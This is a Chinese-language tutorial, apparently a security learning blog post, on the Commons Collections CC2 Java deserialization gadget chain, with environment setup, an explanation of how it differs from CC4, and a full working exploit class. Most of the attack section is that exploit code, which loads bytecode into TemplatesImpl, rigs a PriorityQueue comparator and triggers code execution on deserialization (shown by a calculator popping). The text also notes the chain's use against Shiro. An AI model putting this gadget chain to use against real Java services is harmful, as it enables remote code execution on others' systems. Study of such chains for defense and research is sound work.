CC2链
前言
过完前面的链子,看后续的链子简直不要太顺利 ~
CC2链其实就是CC4链基础上作了一些改动,摒弃了transformers数组和InstantiateTransformer#transform,然后通过InvokerTransformer来调用newTransformer。
其余的基本一致。
环境部署
- jdk8u65
- Commons-Collections 4.0
其实就是CC4的环境没变
环境依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
CC2链分析
我们前面说过了,CC2链无非就是在CC4链的基础上作了一些改动。改动如下:
- 摒弃了
transformers数组
CC4:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
CC2:
InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
但是不使用ChainedTransformer又会发现一个问题,就是我们的transform(Object)参数如何传入呢?下面我先直接给答案,然后讲解原因。
- 将调用对象改成直接add进priorityQueue里。
CC4:
priorityQueue.add(1);
priorityQueue.add(2);
CC2:
priorityQueue.add(templates);
priorityQueue.add(templates);
下面分析原因,为什么这么传
- 首先我们看一下compare方法的实现

可以发现是将obj1和obj2两个对象当作了transform的参数。
- 我们再往前跟进看是如何给compare方法传参的

可以发现都是直接将队列中的元素取出来然后当作compare方法的参数,那我们只要让队列中的元素都为templates不就好了?
所以我们才这样做
priorityQueue.add(templates);
priorityQueue.add(templates);
当然我们还是要避免add方法走完整条链子,所以除了我们说的地方要改动,其他直接照搬CC4即可。
完整的EXP
直接在原有的CC4链基础上改动便得到了CC2完整的EXP:
package com.test.CC2;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class t = transformingComparator.getClass();
Field transformerField = t.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
运行看效果:

可以看到弹出了计算器,利用链也是走的我们预想中的。
非常EZ啊
总结
由于CC2就是在CC4基础上稍微改动一点,所以我将这两条链子的图片放一起画吧

CC2 链区别与其他链子一点的区别在于没有用 Transformer 数组。不用数组是因为比如 shiro 当中的漏洞,它会重写很多动态加载数组的方法,这就可能会导致我们的 EXP 无法通过数组实现。